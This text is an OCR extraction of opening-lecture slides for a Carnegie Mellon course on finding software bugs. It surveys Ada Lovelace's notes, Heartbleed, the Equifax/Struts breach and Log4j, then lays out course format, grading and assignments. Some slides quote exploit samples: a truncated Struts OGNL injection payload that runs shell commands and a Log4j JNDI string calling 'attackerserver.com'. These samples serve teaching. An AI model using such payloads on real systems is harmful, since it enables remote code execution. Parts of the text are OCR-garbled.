17-712: Fantastic Bugs and How to Find Them

Spring 2025 Prof. Rohan Padhye

https://cmu-fantastic-bugs.github.io







Photo CC-BY 2.0 ArnoldReinhold





The Analytical Engine by Charles Babbage





Photo CC-BY-SA 2.0 Science Museum London

Carnegie Mellon University

1843 London, England



The Analytical Engine by Charles Babbage



Photo CC-BY-SA 2.0 Karoly Lorentey







Ada Lovelace

	Diagram for the computation by the Engine of the Numbers of Bernoulli. See Note G. (page 722 et seq.)																					
	1.					Data.			Working Variables.										Result Variables.			
Number of Operation	Nature of Operation	Variables acted upon.	Variables receiving results.	Indication of change in the value on any Variable.	Statement of Results.	^{IV1} 0001	¹ V ₂ O 0 2 2	IV ₃ О 0 4 П	°V40000	⁹ V ₅ 0 0 0	⁰ V ₆ 0 0 0 0	°V7 0000	0000 C	°V» 00000	°V10 0000 000	^o V ₁₁ O 0 0	*V ₁₂ O 0 0 0	•Yu ○ 0 0 0 0	$ \begin{tabular}{c} B_1 & \mbox{in a} \\ \end{tabular} & \end{tabular} \\ \end{tabular} & \end{tabular} & \end{tabular} \\ \end{tabular} & \end{tabular} & \end{tabular} \\ \end{tabular} & \end{tabular} & \end{tabular} & \end{tabular} \\ \end{tabular} & \end{tabular} & \end{tabular} & \end{tabular} & \end{tabular} \\ \end{tabular} & \end$	E decimal Or fraction.	[™] _a B _s in a decimal Og [™] fraction.	^e V ₂₁ O 0 0 0 B ₇
1 2 3 4 5 6 7	× 1, + + + 1 1	${}^{1}V_{2} \times {}^{1}V_{3}$ ${}^{1}V_{4} - {}^{1}V_{1}$ ${}^{1}V_{8} + {}^{1}V_{1}$ ${}^{2}V_{6} + {}^{2}V_{4}$ ${}^{1}V_{11} + {}^{1}V_{2}$ ${}^{0}V_{13} - {}^{2}V_{11}$ ${}^{1}V_{8} - {}^{1}V_{1}$	1V ₄ , 1V ₅ , 1V ₆ 2V ₄ , 2V ₅ , 1V ₁₁ , 1V ₁₂ ,	$\begin{cases} 1\mathbf{V}_2 = \mathbf{i}\mathbf{V}_2\\ 1\mathbf{V}_3 = \mathbf{i}\mathbf{V}_3\\ 1\mathbf{V}_4 = \mathbf{i}\mathbf{V}_4\\ 1\mathbf{V}_1 = \mathbf{i}\mathbf{V}_1\\ 1\mathbf{V}_1 = \mathbf{i}\mathbf{V}_1\\ 1\mathbf{V}_3 = \mathbf{i}\mathbf{V}_3\\ 1\mathbf{V}_4 = \mathbf{i}\mathbf{V}_4\\ 1\mathbf{V}_4 = \mathbf{i}\mathbf{V}_4\\ 1\mathbf{V}_2 = \mathbf{i}\mathbf{V}_2\\ 1\mathbf{V}_2 = \mathbf{i}\mathbf{V}_2\\ 1\mathbf{V}_3 = \mathbf{i}\mathbf{V}_3\\ 1\mathbf{V}_3 = \mathbf{i}\mathbf{V}_3\\ 1\mathbf{V}_3 = \mathbf{i}\mathbf{V}_3\\ 1\mathbf{V}_4 = \mathbf{i}\mathbf{V}_4\\ \end{cases}$	$\begin{array}{l} = 2 \ s \\ = 2 \ s \\ = 2 \ s - 1 \\ = 2 \ s - 1 \\ = \frac{2 \ s - 1}{2 \ s + 1} \\ = \frac{2 \ s - 1}{2 \ s + 1} \\ = \frac{1}{2} \ \frac{2 \ s - 1}{2 \ s + 1} \\ = -\frac{1}{2} \ \frac{2 \ s - 1}{2 \ s + 1} \\ = -\frac{1}{2} \ \frac{2 \ s - 1}{2 \ s + 1} \\ = A_0 \\ = \ s - 1 \ (= 3) \end{array}$	1 1 1	2	n n	2 n 2 n - 1 0 	2 n 1 2 n+1 0 	2 n 				 n - 1	$ \frac{2n-1}{2n+1} \\ \frac{1}{2} \frac{2n-1}{2n+1} \\ 0 $		$=\frac{1}{2}\cdot\frac{2n-1}{2n+1}=\delta_0$		12 - 1 M - 1 - 2		
8 9 0 1	+ + × + -	$v_2 + v_7$ $v_4 + v_7$ $v_6 + v_7$ $v_{11} \times v_{11}$ $v_{12} + v_{13}$ $v_{12} + v_{13}$	1V ₇ 3V ₁₁ 1V ₁₂ 2V ₁₃	$ \left\{ \begin{array}{l} {}^{1}V_{2}=1V_{2}\\ {}^{0}V_{7}=1V_{7}\\ {}^{1}V_{6}=1V_{6}\\ {}^{0}V_{11}=2V_{11} \end{array} \right\} \\ \left\{ \begin{array}{l} {}^{1}V_{21}=1V_{21}\\ {}^{1}V_{21}=1V_{21}\\ {}^{1}V_{11}=3V_{11}\\ {}^{1}V_{12}=0V_{22}\\ {}^{1}V_{13}=2V_{13}\\ {}^{1}V_{10}=2V_{10}\\ {}^{1}V_{1}=1V_{1} \end{array} \right\} \\ \end{array} \right. $	$\begin{split} &= 2 + 0 = 2 \\ &= \frac{2 n}{2} = \lambda_1 \\ &= B_1 \cdot \frac{2 n}{2} = B_1 \Lambda_1 \\ &= -\frac{1}{2} \cdot \frac{2 n - 1}{2 n + 1} + B_1 \cdot \frac{2 n}{2} \\ &= n - 2 (= 2) \\ \end{split}$	 1	2				 2n 	3 3 : : :		•••	 n - 2	$\frac{2n}{2} = \Lambda_1$ $\frac{2n}{2} = \Lambda_1$ \dots	$B_1, \frac{2\pi}{2} = B_1 A$	$\left\{-\frac{1}{2},\frac{2n-1}{2n+1}+B_1,\frac{2n}{2}\right\}$	Bı	2-14/0-1		
3 4 5 6 7 8 9 0 1 2 3	{ + + + × < + - + + × × + - + - + + × × + - + - + + × × + - + -	$ \frac{1}{1^{1}V_{6} - {}^{1}V_{1}} \\ \frac{1}{1^{1}V_{1} + {}^{1}V_{7}} \\ \frac{1}{2^{1}V_{6} + {}^{2}V_{7}} \\ \frac{1}{2^{1}V_{6} + {}^{2}V_{7}} \\ \frac{1}{2^{1}V_{6} - {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{1} + {}^{2}V_{2}} \\ \frac{1}{2^{1}V_{22} + {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{22} + {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{12} - {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{12} - {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{16} - {}^{2}V_{1}} \\ \frac{1}{2^{1}V_{16} - {}^{2}V_{1}} $	¹ V ₆ ² V ₇ ¹ V ₈ ¹ V ₈ ¹ V ₈ ¹ V ₁₁ ³ V ₈ ³ V ₁₁ ³ V ₁₂ ³ V ₁₂ ³ V ₁₂ ³ V ₁₂	$ \left\{ \begin{array}{c} 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 \\ 1 $	$\begin{array}{l} 2+1-1\\ 2+1=3\\ \frac{2s-1}{3}\\ -\frac{2s-3}{3}\\ -\frac{2s-3}{3}\\ -\frac{2s-2}{3}\\ -\frac{2s-2}{3}$	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1		····		····	2n - 1 2n - 1 2n - 5 2n - 5 2n - 5 	3 3 4 4 	2n - 1 3 0 rations t	2n-1 4 0 	 N - 3 to twen	$\begin{cases} \frac{2n}{2}, \frac{2n-1}{3} \\ \frac{2n}{3}, \frac{2n-1}{3}, \frac{2n-2}{3} \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ $	E3 43 0	$\left\{A_2+B_3A_1+B_5A_3\right\}$		B ₃	A PARTY AND A P	
14	+ +	"V13+"V5	N ^{IV} 24	$\left. \begin{array}{c} {}^{4V_{13} = ^{0}V_{13}} \\ {}^{0}V_{24} = ^{1}V_{24} \\ {}^{1}V_{1} = ^{1}V_{1} \\ {}^{1}V_{3} = ^{1}V_{3} \\ {}^{4}V_{6} = ^{0}V_{6} \\ {}^{5}V_{7} = ^{0}V_{7} \end{array} \right.$	B; = n + 1 = 4 + 1 = 5 by a Variable-card, by a Variable card.			 n+1	 	 	0	0										B,







Ada Lovelace

1843

"an analysing process must [be] performed in order to furnish the Analytical Engine with the necessary *operative* data; [...] herein may also lie a possible source of error. Granted that the actual mechanism is unerring in its processes, the *cards* may give it wrong orders."







Ada Lovelace

1843

software engineering (an analysing process must [be] performed in order to furnish the Analytical Engine with the program necessary operative data, [...] herein may also lie a possible source of error. Granted that the actual mechanism is unerring in its processes, the *cards* may give it wrong orders."







Ada Lovelace

1843

software engineering "an analysing process must [be] performed in order to furnish the Analytical Engine with the program necessary operative data, [...] herein may also lie a possible source of error. Granted that the actual mechanism is unerring in its processes, the cards may give it wrong orders."







Ada Lovelace

"Containing process must [be] performed in order to furnish the Analytical Engine with the program received process [...] herein may also lie a possible source of error. Granted that the actual mechanism is unerring in its processes, the cards may give it software wrong orders."









Most software is still written by humans (or noisy AI trained on human-written code)





Most software is still written by humans (or noisy AI trained on human-written code)

Software bugs are inevitable!





Our society critically depends on software systems

Ehe New York Eimes

LIVE California Storms 2m ago U.S. Flight Delays 2m ago

LIVE 2m ago

Domestic Flights Grounded Across U.S. After F.A.A. System Failure

The agency said it had ordered all airlines to pause domestic departures until 9 a.m. Eastern, and the system was "beginning to come back on line." See more updates 3+



Steven Senne/Associated Press



Software and Societar Systems Department (I made these slides while stuck at an airport)

TERMINAL 1 AÉROGARE 18:26							
TIME	DESTINATION	FLIGHT	GATE	STATUS			
21:00	BOSTON	AC8702	F64	Delayed - 21:25			
21:00	NEWARK	AC8884	F62	On Time			
21:00	PITTSBURGH	🔎 AC8927	F86	Cancelled			
21:05	CHARLOTTETOWN	AC8330	D7	On Time			
21:05	LONDON	🔎 AC8265	D3	On Time			
21:05	MONCTON	AC7898	D28	On Time			
21:05	SASKATOON	🚊 AC1937	D32	On Time			
21:05	SYDNEY,NS	🔎 AC8484	D9	On Time			
21:10	OTTAWA	🚨 AC7758	B D36	On Time			



Heartbleed (CVE-2014-0160)

"The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software."

ource: heartbleed.com



Half a million widely trusted websites vulnerable to Heartbleed bug

8th April, 2014

A serious **overrun** $ensuremath{\mathcal{C}}$ vulnerability in the **OpenSSL** $ensuremath{\mathcal{C}}$ cryptographic library affects around 17% of SSL web servers which use certificates issued by trusted certificate authorities. Already commonly known as the **Heartbleed bug** $ensuremath{\mathcal{C}}$, a missing bounds check in the handling of the TLS heartbeat extension can allow remote attackers to view up to 64 kilobytes of memory on an affected server. This could allow attackers to retrieve private keys and ultimately decrypt the server's encrypted traffic or even impersonate the server.

ource: netcraft.com





Heartbleed was caused by a buffer overflow



```
--- a/ssl/d1 both.c
+++ b/ssl/d1 both.c
@@ -1459,26 +1459,36 @@ dtls1 process heartbeat(SSL *s)
        unsigned int payload;
        unsigned int padding = 16; /* Use minimum padding */
        /* Read type and payload length first */
        hbtype = *p++;
        n2s(p, payload);
        pl = p;
        if (s->msg callback)
                s->msg callback(0, s->version, TLS1 RT HEARTBEAT,
                        &s->s3->rrec.data[0], s->s3->rrec.length,
                        s, s->msg callback arg);
        /* Read type and payload length first */
        if (1 + 2 + 16 > s -> s3 -> rrec.length)
                return 0; /* silently discard */
        hbtype = *p++;
        n2s(p, payload);
        if (1 + 2 + payload + 16 > s -> s3 -> rrec.length)
                return 0; /* silently discard per RFC 6520 sec. 4 */
        q = lq
        if (hbtype == TLS1_HB_REQUEST)
                unsigned char *buffer, *bp;
                unsigned int write length = 1 /* heartbeat type */ +
                                            2 /* heartbeat length */ +
                                            payload + padding;
                int r;
                if (write length > SSL3 RT MAX PLAIN LENGTH)
                        return 0:
                /* Allocate memory for the response, size is 1 byte
                 * message type, plus 2 bytes payload length, plus
                 * payload, plus padding
                 */
                buffer = OPENSSL_malloc(1 + 2 + payload + padding);
                buffer = OPENSSL malloc(write length);
                bp = buffer;
                /* Enter response type, length and copy payload */
@@ -1489,11 +1499,11 @@ dtls1 process heartbeat(SSL *s)
                /* Random padding */
                RAND pseudo bytes(bp, padding);
                r = dtls1 write bytes(s, TLS1 RT HEARTBEAT, buffer, 3 + payload + padding);
                r = dtls1 write bytes(s, TLS1 RT HEARTBEAT, buffer, write length);
                if (r \ge 0 \&\& s \ge msg callback)
```

Carnegie

University

Vlellon



Equifax breach (2017)







Equifax breach was linked to an exploit of a vulnerability in Apache Struts (CVE-2017-5638)

<pre>Example 1 FOST /uploads/new-file-upload HTTP/1.1 Host: www.examplesite.com Connection: keep-alive Referer: http://www.examplesite.com/uploads/uploadform.html Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebK;+/*** (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/wei *;q=0.8 Accept:text/html, application/xhtml+xml, */* Content-Type: multipart/form-data; boundary=278068987351454 Content-Length: 34278068987351454 GIF87a</pre>	<pre>Invalid Content-Type → Error message printed by server → Message parser decodes OGNL → Allows executing Java code → Run shell cmd and exploit! Post / HTTP/1.1 Connection: Keep-Alive Content-Type: %{(#bbq='multipart/form- data').(#dm=\$ogn1.0gn1Context@DEFAULT_MEMF Access=#dm): ((#container=#context['com.opernsymphon gnlUtil=#container.getInstance (@com.opensymphony.xwork2.ogn1.0gn1Ut ame().clear())).(#content.setMemberA me().clear())).(#content.setMemberA contains('win')).(#content.setMemberA me().clear()).(#content.setMemberA s(#dm))). (#contains('win')).(#content.setMemberA s(#dm))).</pre>
Example 1 is a normal request sent by a Google Chrome browser. Please note the resomewhat vanilla headers. Examples 2 and 3 (shown below) are requests implement vulnerabilities.	<pre>java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.s tart()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(o rg.apache.commons.io.IOUtils@copy(#process.getInputSteam (),#ros)).(#ros.flush()))} User-Agent: DOSarrest (CVE-2017-5638 Test Client) Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US</pre>

Source: https://www.dosarrest.com/ddos-blog/apache-struts-vulnerabilities-and-the-equifax-hack-what-happened/







WSJ PRO

The Log4j Vulnerability: Millions of Attempts Made Per Hour to Exploit Software Flaw

Hundreds of millions of devices are at risk, U.S. officials say; hackers could use the bug to steal data, install malware or take control



Log4j, a piece of software used across corporate, consumer and industrial networks has a major flaw hackers are exploiting. PHOTO: STEVE MARCUS/REUTERS



log.info("Access by user " + u)

Exploit: Set username as: "\${jndi:ldap://attackerserver.com/BadObject}"





Software and Societal

Systems Department



Carnegie

University

Mellonĭ

Can we find such bugs proactively and automatically?

Carnegie

Universitv



YES!

But it takes a bit of work





What is this course is about?





Learning Objectives

- Identify practical challenges of applying well known program analysis techniques to a variety of application domains.
- Formulate and leverage domain-specific assumptions for making program analysis tractable and useful in a specialized setting.
- Build practical tools for improving software quality in realworld systems.





Topics covered in this course

- Problem domains: (tentative)
 - Database systems
 - Web Applications / REST APIs
 - Compilers
 - Operating Systems
 - Network Protocols
 - Distributed Systems
 - Web Browsers
 - Mobile Applications
 - Machine Learning
 - Generative Al
 - Smart Contracts
- Bug-finding approaches:
 - Static analysis
 - Dynamic analysis
 - Random/Fuzz testing
 - Symbolic execution
 - Formal methods (model checking / verification)



Course Staff



Prof. Rohan Padhye rohanpadhye@cmu.edu



TA: Luke Dramko lukedram@cs.cmu.edu





My Background ("why should we listen to you?")

- Involved with program analysis for 12+ years.
- PhD from UC Berkeley, Masters from IIT Bombay (India)
 - Published research on fuzz testing, static inter-procedural analysis, dynamic performance analysis, etc.
- Now in **CMU's** Software and Societal Systems Department (S3D)
 - Leading the Program Analysis, Software Testing, and Applications (PASTA) Lab
- Worked with IBM Research, Microsoft Research, Samsung Research America, Amazon Web Services
 - Developed tools for improving developer productivity, finding inputvalidation software bugs, identifying security vulnerabilities in mobile systems, discovering concurrency issues in distributed systems, finding correctness bugs in cloud-scale database services, etc.







Hello, my name is

Carnegie Mellon

University



What to expect from this course





Warning! This is a *relatively new course*

- This course has been offered only once before
- Some parts are evolving as we go along
- <u>Pro</u>: I am open to tuning the material and format based on your feedback/interests
- <u>Con</u>: Things may be rough around the edges in terms of planning or estimation





Class Format

- This is a seminar-style advanced topics class; not a traditional lecture-based instructional class
- Most classes will have assigned readings and/or tutorials to be completed before coming to class
 - 3–4 papers / articles / tutorials per week
 - I will post reading guides where possible to focus on specific sections.
- Starting in February, most classes will have *student-led* paper presentations interleaved with *whole-class* discussions
 - Presentations are typically of a research paper, but may occasionally also include specific tools. These are usually the same as or subsets of the assigned readings for pre-class responses.
 - Each student will give 2 presentations throughout the semester. Presenters do not have to fill out preclass responses.
 - All others are expected to attend and actively participate in Q&A and discussions
 - Feel free to grab a whiteboard marker to construct an example or explain a concept
 - Share a demo, relevant links, your own experiences, strong opinions, etc.





Assignments and Course Project

- Assignment 1 (releasing today)
 - Fathoming the real-world impact of software failures / bugs / vulnerabilities
 - Pick a case study, give a short (5-10min) presentation, and lead a discussion in class
 - Can be done individually or in teams of two
 - Due in one week!
 - Presentations in class Jan 21 and 23
- Assignment 2
 - Intended to provide hands-on experience with some bug-finding tool
 - Quite open-ended: "Do something fun and report back"
 - Activity can be domain-independent—no need to understand the target program being analyzed
 - Can be done individually or in teams of two
 - Due by Feb 20





Assignments and Course Project

- Final project
 - A software-analysis implementation project in some chosen application domain
 - ~30–40 hours per person across 6 weeks
 - Can be done individually or in teams of up to three
 - Project scope should expand with team size
 - Projects with PhD-student involvement should have some research component
 - Projects with Masters students should involve real-world code: either analysis tools or target applications that should be in widespread use
 - Project presentations in the last week of class. Short report due finals week.





Pre-requisites ("Will I be able to keep up?")

- Some experience reasoning about programs and software quality
 - 18-335/732 (Secure Software Systems), 14-735 (Secure Coding), 17-355/665/819 (Program Analysis), 15-411/611 (Compiler Design), 15-414 (Bug Catching), 15-330/18-330/18-730 (Intro to Computer Security)
 - Industry experience with QA, participation in CTFs, etc.
 - 14-741/18-631 (Intro to Information Security) only? See below.
- Basic understanding of build systems and program execution
 - Compilers, interpreters, type checkers, bytecode, threads, system calls, virtual machines, interprocess communication, client-server architecture (usually covered by 15-213/15-513/14-513)
- Comfort working with large-ish code-bases (10K+ LoC) in C and Java
 - Ability to discover resources from the web to quickly unfamiliar programming languages, build systems, virtual machine setups, etc.
- Basic understanding of foundational algorithms and data-structures
 - Hash-maps, trees, graph traversal
- Basic understanding of discrete mathematics (e.g., set theory) and fluency in firstorder logic notation
 - These symbols should make sense: $\{\forall, \exists, \Rightarrow, \Leftrightarrow, \emptyset, \subseteq\}$





I expect the workload to be moderate

- 12 units class = 12 hours per week on average
 - Uneven distribution throughout semester (e.g., more on weeks when you are the lead presenter, doing projects, etc.), so *plan accordingly*!
- Let me know if you are spending significantly more time than this.
 FCEs from 2023 indicated this worked well
- We will do a mid-semester survey around Spring break to gather feedback



Skills you will need/gain/sharpen

- Reasoning about programs as data
- Dealing with large-scale software systems and practical real-world challenges in working with them
- Thinking about worst-case: bugs, security threats, perverse incentives
- Reading research papers and learning about state-of-the-art techniques
- Quickly getting an overview of an unfamiliar problem domain
- Formalizing problems and solutions using mathematical notation
- Extracting important highlights from large amount of written material
 Identifying key challenges and new insights presented in research papers
- Appreciating various trade-offs in design decisions
- Communicating key ideas to classmates via presentations and discussions

arnegie

- Playing with software artifacts developed by researchers
- Running software analysis tools on open-source programs



Non-goals and non-requirements

These are nice to have but not explicitly taught or assessed in this course:

- Critiquing or reviewing research papers
- Conducting scientifically rigorous empirical experiments
- Writing research papers
- Creating beautiful presentations
- Developing new mathematical proofs
- Collaborating with unfamiliar or uncooperative team members



Course policies ("how do I get an A?")





Assessments

- 20% pre-class reading responses
- 20% paper presentations
- 20% participation
 - Includes class attendance and discussions in class or online
- 15% assignments (5% + 10%)
- 25% final project
- See course website for some more details including late policy
 - Tl;dr –There is none, but we allow up to four penalty-free absences for any reason.
 - Please do not email asking for exceptions



Communication

- Course website: <u>https://cmu-fantastic-bugs.github.io</u>
- We mainly use Canvas for announcements, assignments, questions, etc.
 - <u>https://canvas.cmu.edu/courses/45748</u>
 - Files: Assigned reading PDFs,
 - Assignments/Quizzes: Pre-class reading exercises and other assignment specs and submission portals
 - Discussions: For technical discussion about topics covered in class + questions about class logistics. Please use public posts for any course related questions as much as possible, unless the matter is sensitive. Feel free to respond to other posts and engage in discussion.

negie

• We have office hours! Or, by appointment.



Teamwork

- Assignments can be done individually or in teams of 2
- Course project can be done individually or in teams of max 3 --scope should scale with team size
- Collaboration opportunities during class activities and occasionally for oversubscribed presentation slots
- Give credit where credit is due. See the course website and CMU policy on academic integrity for more details.



Paper Presentation Slots (for Lectures Feb+)

- We will provide a CMU-accessible Google sheet with a tentative list of topics / papers
- Pick your slot by entering your name in any two empty slots. Do not overwrite / delete claimed slots. We can track edit history!
- Feel free to swap slots with any other claimant by mutual agreement. You can use Canvas to post discussions.
- If nobody has claimed an upcoming slot, I will randomly assign the slot to anyone who has not already claimed both their slots.



Paper Presentation Expectations (save this slide)

- Format: 30 minutes max. Can use slides or whiteboard
- Aims:
 - **Provide an overview of the paper/topic**: problem definition, key challenges and ideas, solution approach, results
 - **Spark a discussion in class**: Why is the work exciting? How does the work address domain-specific challenges? How does it make use of domain-specific solutions? How can the work be improved or extended? What questions would you like to ask the authors?
 - **Optionally bring in extra info not present in the reading**: Tid-bits from news articles or blog posts on the web, walk-through of source repositories or tutorials, live demos of tools discussed in the paper, share snapshots of other papers and tools that build upon this work, comment on impact after the paper was published, etc.

rnegie

versitv

- While most students will have a cursory understanding of the material, the discussion lead should understand the material in detail and be thoroughly prepared to discuss subtleties
- That said, ALL other students are expected to engage in discussion and offer their own thoughts throughout the class



Assignment 1 (Next week!)

- Warm-up round for presentations, discussions, readings
- Pick a case study of a real software bug/failure from this list.
 - Recommend groups of 2, but individual also okay
 - Please finalize choices before start of next class, Jan 16th.
- Next week (Jan 21 and Jan 23):
 - Short presentation (~5-10 minutes) of the incident + pose 3 discussion questions
- Full assignment specification available on course website (see "Schedule" table).





Next Steps

• Readings assigned for next few classes

- Make sure to complete the reading response on Canvas before class!
- Readings are usually assigned at least one week before the class date
- Paper Discussion Leads

Software and Societal Systems Department

- Please pick your slots by Jan 21st based on topic interest and date availability: <u>https://docs.google.com/spreadsheets/d/1VYs-</u> X05SOzArNg3FJRbI-4AxYEcsoANIIL_BFxE8NE/edit?gid=0#gid=0
- You may choose to not pick slots if you are okay with random assignment.



